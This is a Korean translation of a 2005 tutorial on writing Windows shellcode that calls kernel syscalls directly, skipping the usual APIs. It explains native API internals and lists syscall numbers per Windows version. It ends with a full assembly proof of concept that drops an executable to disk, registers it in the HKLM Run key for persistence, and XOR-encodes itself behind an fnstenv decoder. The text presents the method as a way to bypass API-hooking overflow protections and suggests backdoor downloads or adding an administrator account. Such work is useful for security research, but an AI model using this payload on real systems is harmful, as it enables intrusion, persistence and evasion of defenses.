/*--*/

번역 : **innovation@wowhacker.org**

/*--*/

Windows Syscall Shellcode

Piotr Bania **2005-08-04**

Introduction

이 문서는 표준 API 호출을 전혀 사용하지 않고 Windows 운영체제를 위한 쉘코드를 작성하는 것이 가능하다는 것을 보여주기 위해 작성되었다. 물론, 모든 방법이 그렇듯이, 이 접근 방식도 장점과 단점을 모두 가지고 있다. 이 문서에서 우리는 쉘코드에 대해 알아보고 또한 몇 가지 예제의 사용에 대해서도 소개할 것이다. 이 문서를 완벽히 이해하기 위해서는 IA-32 어셈블리 지식이 반드시 필요하다.

이 문서에 나오는 모든 쉘코드는 Windows XP SP1에서 테스트되었다. 운영 체제와 서비스 팩 레벨에 따라 방식의 차이가 있을 수 있다는 것을 기억해라, 그리고 이런 내용들은 우리가 진행해 나가면서 추후에 더 논의가 될 것이다.

Some Background

Windows NT-기반 시스템들 (NT/2000/XP/2003 등)은 각각의 고유한 환경을 가지고 있는, 다양한 서브시스템들을 다루도록 설계되었다. 예를 들어, NT 서브시스템 중의 하나는 Win32이다 (일반 Windows 어플리케이션들을 위한), 다른 예로는 POSIX (Unix) 또는 OS/2가 있을 것이다. 이것이 의미하는 것은 뭘까? 이것은 Windows NT가 실제로 OS/2를 실행하고 (물론 적절한 os add-ons를 사용해서) OS/2 기능들의 대부분을 지원할 수 있다는 것을 의미한다. 그렇다면 OS가 개발될 때 어떤 작업들이 행해지는 것일까? 이 같은 잠재적인 서브시스템 전부를 지원하기 위해서, 마이크로소프트는 각 서브시스템의 wrapper라고 불리는 통합된 API 집합 만들었다. 따라서, 모든 서브시스템은 그들이 작업하기 위해 필요로 하는 모든 라이브러리를 가지고 있는 것이다. 예를 들어 Win32 어플리케이션이 Win32 서브시스템 API를 호출하는 경우, 사실은 NT API (native API, 혹은 단순히 native)를 호출하는 것이다. Native는 서브시스템이 전혀 실행될 필요가 없다.

From native API calls to syscalls

표준 API 호출을 전혀 사용하지 않고 쉘코드를 작성할 수 있다는 것이 사실일까? 음, API에 따라 다를 수 있다. Native NT API와 그 외의 것들을 호출하지 않고 그들의 작업을 수행하는 여러 API들이 있다. 이것을 증명하기 위해, KERNEL32.DLL로부터 익스포트된 GetCommandLineA API를 살펴보자.

```
.text:77E7E358 ; --------------- S U B R O U T I N E -----------------------
.text:77E7E358
.text:77E7E358
.text:77E7E358 ; LPSTR GetCommandLineA(void)
.text:77E7E358 public GetCommandLineA
.text:77E7E358 GetCommandLineA proc near
.text:77E7E358 mov eax, dword_77ED7614
.text:77E7E35D retn
.text:77E7E35D GetCommandLineA endp
```

위의 API 루틴은 어떠한 호출도 사용하지 않는다. 이 루틴이 하는 것은 단지 프로그램 명령 행에 대한 포인터를 리턴하는 것이다. 그러나 이번에는 우리의 이론에 부합하는 예제를 살펴보자. TerminateProcess API의 디스어셈블리 내용에는 어떤 것이 나오는가.

```
.text:77E616B8 ; BOOL __stdcall TerminateProcess(HANDLE hProcess,UINT
uExitCode)
.text:77E616B8 public TerminateProcess
.text:77E616B8 TerminateProcess proc near ; CODE XREF: ExitProcess+12 j
.text:77E616B8 ; sub_77EC3509+DA p
.text:77E616B8
.text:77E616B8 hProcess = dword ptr 4
.text:77E616B8 uExitCode = dword ptr 8
.text:77E616B8
.text:77E616B8 cmp [esp+hProcess], 0
.text:77E616BD jz short loc_77E616D7
.text:77E616BF push [esp+uExitCode] ; 1st param: Exit code
.text:77E616C3 push [esp+4+hProcess] ; 2nd param: Handle of process
.text:77E616C7 call ds:NtTerminateProcess ; NTDLL!NtTerminateProcess
```

보다시피, TerminateProcess API는 인자값을 전달한 후 NTDLL.DLL에 의해 익스포트된 NtTerminateProcess를 호출한다. NTDLL.DLL은 native API이다. 바꾸어 말하면, 'Nt'로 시작하는 함수는 native API라고 부른다 ('Nt'로 시작하는 함수 중 몇 가지는 ZwAPI이다 - NTDLL 라이브러리로부터 익스포트되는 것들에 어떤 것이 있는지 살펴봐라). 자 이제 NtTerminateProcess를 살펴보자.

```
.text:77F5C448 public ZwTerminateProcess
.text:77F5C448 ZwTerminateProcess proc near ; CODE XREF: sub_77F68F09+D1 p
.text:77F5C448 ; RtlAssert2+B6 p
.text:77F5C448 mov eax, 101h ; syscall number: NtTerminateProcess
.text:77F5C44D mov edx, 7FFE0300h ; EDX = 7FFE0300h
.text:77F5C452 call edx ; call 7FFE0300h
.text:77F5C454 retn 8
.text:77F5C454 ZwTerminateProcess endp
```

사실 이 native API는 eax에 syscall 숫자를 저장하고 메모리 주소 7FFE0300h에 있는 것을 호출한다. 7FFE0300h에 있는 것은 아래와 같다:

```
7FFE0300      8BD4    MOV EDX,ESP
7FFE0302      0F34    SYSENTER
7FFE0304      C3      RETN
```

위의 내용은 이야기가 어떻게 진행되는 지를 보여준다; EDX는 현재 사용자 스택 포인터이고, EAX는 실행시키려는 시스템 콜이다.
SYSENTER 명령어는 레벨 0 시스템 루틴으로의 빠른 호출을 실행하고, 작업의 나머지를 수행한다.

Operating system differences

Windows 2000 (그리고 XP 이상의 시스템을 제외한 NT 기반 시스템들)에서 SYSENTER 명령어는 사용되지 않는다. 그러나, Windows XP에서는 "int 2eh" (이전 방법)이 SYSENTER 명령어로 대체되었다. 아래 표는 Windows 2000의 syscall 구현을 보여준다:

```
MOV EAX, SyscallNumber          ; requested syscall number
LEA EDX, [ESP+4]                ; EDX = params...
INT 2Eh                         ; throw the execution to the KM handler
```

```
RET 4*NUMBER_OF_PARAMS          ; return
```

우리는 이미 Windows XP에서 사용되는 방법을 알고 있으나, 내가 쉘코드 상에서 사용하는 방법 중의 하나는 아래와 같다.

```
        push fn                         ; push syscall number
        pop eax                         ; EAX = syscall number
        push eax                        ; this one makes no diff
        call b                          ; put caller address on stack
b:      add [esp],(offset r - offset b) ; normalize stack
        mov edx, esp                    ; EDX = stack
        db 0fh, 34h                     ; SYSENTER instruction
r:      add esp, (param*4)              ; normalize stack
```

인텔 펜티엄 2 프로세스에서 처음 소개된 것으로 알고 있다. 본 저자가 생각하기에 확실하진 않으나 SYSENTER가 애슬론 프로세서에서는 지원되지 않을 거라고 추측된다. 명령어가 특정 프로세서 상에서 사용가능한지 아닌지 확인하기 위해, SEP 플래그 검사를 사용하는 CPUID 명령어 그리고 특정 family/model/stepping 검사를 사용해라. 인텔에서 어떤 식으로 타입 검사를 하는지에 관한 예제가 아래에 있다:

```
IF (CPUID SEP bit is set)
        THEN IF (Family = 6) AND (Model < 3) AND (Stepping < 3)
                THEN
                        SYSENTER/SYSEXIT_NOT_SUPPORTED
                FI;
        ELSE SYSENTER/SYSEXIT_SUPPORTED
FI;
```

물론 이러한 시스템 콜 번호들의 차이점은 여러 Windows 운영체제에서 뿐만 아니라 – 다음의 표가 보여주는 것처럼 여러 Windows 버전 사이에서도 차이가 난다:

Syscall symbol		NtAddAtom	NtAdjustPrivilegesToken	NtAlertThread
Windows NT	SP 3	0x3	0x5	0x7
	SP 4	0x3	0x5	0x7
	SP 5	0x3	0x5	0x7

	SP 6	0x3	0x5	0x7
Windows 2000	SP 0	0x8	0xa	0xc
	SP 1	0x8	0xa	0xc
	SP 2	0x8	0xa	0xc
	SP 3	0x8	0xa	0xc
	SP 4	0x8	0xa	0xc
Windows XP	SP 0	0x8	0xb	0xd
	SP 1	0x8	0xb	0xd
	SP 2	0x8	0xb	0xd
Windows 2003 Server	SP 0	0x8	0xc	0xe
	SP 1	0x8	0xc	0xe

syscall 번호 테이블은 인터넷에서 얻을 수 있다. 독자들은 metasploit.com에 있는 것을 참조하기 바란다, 그러나 괜찮은 다른 자료들도 있을 것이다.

Syscall shellcode advantages

이 방식을 사용하는 경우 몇 가지 이점이 있다:

- 쉘코드는 API 사용을 필요로 하지 않는다, 이것은 처리해야 할 API 주소가 없기 때문이다 (찾아야 하는 커널 주소/파싱해야 하는 익스포트/임포트 섹션, 등이 존재하지 않는다). 이런 "기능"때문에 대부분의 ring3 "버퍼 오버플로우 방지 시스템"을 우회할 수 있다. 이런 보호 매커니즘은 버퍼 오버플로우 공격 자체를 막지 않고, 대신 주로 가장 많이 사용되는 API들을 후킹하고 호출자의 주소를 체크한다. 이제, 이런 검사는 쓸모없어 질 것이다.
- 왜냐하면 당신은 요청을 커널 핸들러에게 직접 전달하고 Win32 서브시스템으로부터의 모든 명령어들을 "건너뛴다", 실행 속도도 매우 높아진다. (비록 최신 프로세스들에서, 쉘코드의 속도를 신경 쓸 사람은 없겠지만.)

Syscall shellcode disadvantages

이 방식에는 몇 가지 불편한 점이 있다:

- 크기 -- 이것이 가장 불편한 점이다. 우리가 서브시스템 wrapper 전부를 "건너뛰기" 때문에, 서브시스템 wrapper를 대신할 우리만의 코드가 필요하고, 이것은 쉘코드의 사이즈를 증가시킨다.
- 호환성 - 위에서 작성되었듯이, 운영체제의 버전에 따라 "int 2eh" 에서 "sysenter" 까지 여러 구현방식들이 존재한다. 또한, 시스템 콜 번호는 각 Windows 버전에 따라 변한다 (더 자세한 내용은 레퍼런스 섹션을 참고해라).

The ideas

이 문서 끝 부분에 있는 쉘코드는 파일을 덤프하고 레지스트리 키를 작성한다. 이 작업은 생성된 파일을 컴퓨터 재시작 후 실행시킨다. 많은 독자들이 왜 파일을 바로 실행시키지 않고 레지스트리 키를 저장시키냐고 물어 볼 수 있을 것이다. 음, syscall을 사용하여 win32 어플리케이션을 실행시키는 것은 간단한 작업이 아니다 – NtCreateProcess가 이 작업을 할 것이라고 생각하지는 마라; CreateProcess API가 어플리케이션을 실행시키기 위해 필요한 작업에 어떤 것이 있는지 살펴보자:

1. 프로세스 내에서 실행될 이미지 파일 (.exe)를 연다.
2. Windows 실행 프로세스 오브젝트를 생성한다.
3. 초기화된 쓰레드를 생성한다 (스택, 컨텍스트, 그리고 Windows 실행 쓰레드 오브젝트).
4. 생성된 프로세스와 쓰레드를 설정할 수 있도록 Win32 서브시스템에게 생성된 프로세스를 알려준다.
5. 초기화된 쓰레드의 실행을 시작한다 (CREATE_SUSPENDED 플래그가 설정되어 있지 않다면).
6. 생성된 프로세스와 쓰레드의 컨텍스트 내에서, 주소 공간의 초기화 작업을 마무리하고 프로그램의 실행을 시작한다.

이렇기 때문에, 레지스트리를 사용하는 것이 매우 쉽고 간결하다. 이 문서를 끝맺는 아래의 쉘코드는 샘플 MessageBox 어플리케이션을 생성하나 (대개는, PE 구조 자체가 크기 때문에 사이즈는 증가한다) 여기에는 여러 해결책이 있다. 공격자는 스크립트 파일 (batch/vbs/others) 을 생성 할 수 있고 ftp 서버로부터 트로이안/백도어 파일을 다운로드 할 수 있으나, 단순히 다음과 같은 여러 명령어들을 실행할 수도 있다: "net user /add piotr test123" & "net localgroup /add administrators piotr".
이런 방법은 독자들이 최적화하는데 도움이 될 것이다, 이제 우리는 이 문서에서 얘기한 쉘코드의 개념을 증명해 보자.

```
The shellcode - Proof Of Concept
comment $
        ------------------------------------------
        WinNT (XP) Syscall Shellcode - Proof Of Concept
        ------------------------------------------
        Written by: Piotr Bania
        http://pb.specialised.info
$
include my_macro.inc
include io.inc
; --- CONFIGURE HERE ----------------------------------------------------------
; If you want to change something here, you need to update size entries written above.
FILE_PATH          equ "₩??₩C:₩b.exe",0              ; dropper
SHELLCODE_DROP equ "D:₩asm₩shellcodeXXX.dat"       ; where to drop
                                                   ; shellcode
REG_PATH           equ "₩Registry₩Machine₩Software₩Microsoft₩Windows₩CurrentVersion₩Run",0
; -----------------------------------------------------------------------------
KEY_ALL_ACCESS   equ 0000f003fh                    ; const value
_S_NtCreateFile              equ 000000025h        ; syscall numbers for
_S_NtWriteFile               equ 000000112h        ; Windows XP SP1
_S_NtClose                   equ 000000019h
_S_NtCreateSection           equ 000000032h
_S_NtCreateKey               equ 000000029h
_S_NtSetValueKey             equ 0000000f7h
_S_NtTerminateThread         equ 000000102h
_S_NtTerminateProcess        equ 000000101h
@syscall                     macro fn, param       ; syscall implementation
                             local b, r            ; for Windows XP
                             push fn
                             pop eax
                             push eax ; makes no diff
                             call b
                           b: add [esp],(offset r - offset b)
                             mov edx, esp
                             db 0fh, 34h
                           r: add esp, (param*4)
```

```
                        endm
path                    struc                   ; some useful structs
                        p_path dw MAX_PATH dup (?) ; converted from C headers
path                    ends
object_attributes       struc
                        oa_length       dd      ?
                        oa_rootdir      dd      ?
                        oa_objectname   dd      ?
                        oa_attribz      dd      ?
                        oa_secdesc      dd      ?
                        oa_secqos       dd      ?
object_attributes       ends
pio_status_block        struc
                        psb_ntstatus    dd      ?
                        psb_info        dd      ?
pio_status_block        ends
unicode_string struc
                        us_length dw ?
                                  dw ?
                        us_pstring dd ?
unicode_string ends
        call crypt_and_dump_sh                  ; xor and dump shellcode
sc_start proc
        local u_string :unicode_string          ; local variables
        local fpath :path                       ; (stack based)
        local rpath :path
        local obj_a :object_attributes
        local iob :pio_status_block
        local fHandle :DWORD
        local rHandle :DWORD
        sub ebp,500                             ; allocate space on stack
        push FILE_PATH_ULEN                     ; set up unicode string
        pop [u_string.us_length]                ; length
        push 255                                ; set up unicode max string
        pop [u_string.us_length+2]              ; length
        lea edi,[fpath]                         ; EDI = ptr to unicode file
```

```
        push edi                                ; path
        pop [u_string.us_pstring]               ; set up the unciode entry
        call a_p1                               ; put file path address
a_s:    db FILE_PATH                    ; on stack
        FILE_PATH_LEN equ $ - offset a_s
        FILE_PATH_ULEN equ 18h
a_p1:   pop esi                         ; ESI = ptr to file path
        push FILE_PATH_LEN              ; (ascii one)
        pop ecx                         ; ECX = FILE_PATH_LEN
        xor eax,eax                     ; EAX = 0
a_lo:   lodsb                           ; begin ascii to unicode
        stosw                           ; conversion do not forget
        loop a_lo                       ; to do sample align
        lea edi,[obj_a]                 ; EDI = object attributes st.
        lea ebx,[u_string]              ; EBX = unicode string st.
        push 18h                        ; sizeof(object attribs)
        pop [edi.oa_length]             ; store
        push ebx                        ; store the object name
        pop [edi.oa_objectname]
        push eax                        ; rootdir = NULL
        pop [edi.oa_rootdir]
        push eax                        ; secdesc = NULL
        pop [edi.oa_secdesc]
        push eax                        ; secqos = NULL
        pop [edi.oa_secqos]
        push 40h                        ; attributes value = 40h
        pop [edi.oa_attribz]
        lea ecx,[iob]                   ; ECX = io status block
        push eax                        ; ealength = null
        push eax                        ; eabuffer = null
        push 60h                        ; create options
        push 05h                        ; create disposition
        push eax                        ; share access = NULL
        push 80h                        ; file attributes
        push eax                        ; allocation size = NULL
        push ecx                        ; io status block
```

```
        push edi                                ; object attributes
        push 0C0100080h                         ; desired access
        lea esi,[fHandle]
        push esi                                ; (out) file handle
        @syscall _S_NtCreateFile, 11            ; execute syscall
        lea ecx,[iob]                           ; ecx = io status block
        push eax                                ; key = null
        push eax                                ; byte offset = null
        push main_exploit_s                     ; length of data
        call a3                                 ; ptr to dropper body
s1:             include msgbin.inc              ; dopper data
main_exploit_s  equ $ - offset s1
a3:     push ecx                                ; io status block
        push eax                                ; apc context = null
        push eax                                ; apc routine = null
        push eax                                ; event = null
        push dword ptr [esi]                    ; file handle
        @syscall _S_NtWriteFile, 9              ; execute the syscall
        mov edx,edi                             ; edx = object attributes
        lea edi,[rpath]                         ; edi = registry path
        push edi                                ; store the pointer
        pop [u_string.us_pstring]               ; into unicode struct
        push REG_PATH_ULEN                      ; store new path len
        pop [u_string.us_length]
        call a_p2 ; store the ascii reg path
a_s1:   db REG_PATH                              ; pointer on stack
        REG_PATH_LEN equ $ - offset a_s1
        REG_PATH_ULEN equ 7eh
a_p2:   pop esi                                 ; esi ptr to ascii reg path
        push REG_PATH_LEN
        pop ecx                                 ; ECX = REG_PATH_LEN
a_lo1:  lodsb                                   ; little ascii 2 unicode
        stosw                                   ; conversion
        loop a_lo1
        push eax                                ; disposition = null
        push eax                                ; create options = null
```

```
        push eax                        ; class = null
        push eax                        ; title index = null
        push edx                        ; object attributes struct
        push KEY_ALL_ACCESS             ; desired access
        lea esi,[rHandle]
        push esi                        ; (out) handle
        @syscall _S_NtCreateKey,6
        lea ebx,[fpath]                 ; EBX = file path
        lea ecx,[fHandle]               ; ECX = file handle
        push eax
        pop [ecx]                       ; nullify file handle
        push FILE_PATH_ULEN - 8         ; push the unicode len
                                        ; without 8 (no '₩??₩')
        push ebx                        ; file path
        add [esp],8                     ; without '₩??'
        push REG_SZ                     ; type
        push eax ; title index = NULL
        push ecx ; value name = NULL = default
        push dword ptr [esi]            ; key handle
        @syscall _S_NtSetValueKey,6     ; set they key value
        dec eax
        push eax ; exit status code
        push eax ; process handle
                                                ; -1 current process
        @syscall _S_NtTerminateProcess,2        ; maybe you want
                                                ; TerminateThread instead?
ssc_size        equ $ -offset sc_start
sc_start        endp
exit:
        push 0
        @callx ExitProcess
crypt_and_dump_sh:                              ; this gonna' xor
                                                ; the shellcode and
        mov edi,(offset sc_start - 1)           ; add the decryptor
        mov ecx,ssc_size                        ; finally shellcode file
                                                ; will be dumped
```

```
xor_loop:
        inc edi
        xor byte ptr [edi],96h
        loop xor_loop
        _fcreat SHELLCODE_DROP,ebx                ; some of my old crazy
        _fwrite ebx,sh_decryptor,sh_dec_size      ; io macros
        _fwrite ebx,sc_start,ssc_size
        _fclose ebx
        jmp exit
sh_decryptor:                                     ; that's how the decryptor
        xor ecx,ecx                               ; looks like
        mov cx,ssc_size
        fldz
sh_add: fnstenv [esp-12]                          ; fnstenv decoder
        pop edi
        add edi,sh_dec_add
sh_dec_loop:
        inc edi
        xor byte ptr [edi],96h
        loop sh_dec_loop
sh_dec_add              equ ($ - offset sh_add) + 1
sh_dec_size             equ $ - offset sh_decryptor
end start
```

Final words

당신이 이 문서를 재밌게 읽었기를 바란다. 만약 질문이 있다면 주저하지 말고 나에게 연락하기 바란다; 또한 코드는 순수하게 학습 목적으로 개발된 것임을 명심해라.

Further reading

1. “Inside the Native API” by Mark Russinovich
2. “MSDN” from Microsoft
3. Interactive Win32 syscall page from Metasploit

About the author

Piotr Bania는 5년의 실무경험을 가진 폴란드의 프리랜서 IT 보안/안티-바이러스 연구원이다. 그는 RealPlayer와 같은 대중적인 어플리케이션들에서 매우 심각한 보안 취약점들을 여럿 발견했다. 더 자세한 정보는 그의 웹사이트에서 찾을 수 있다.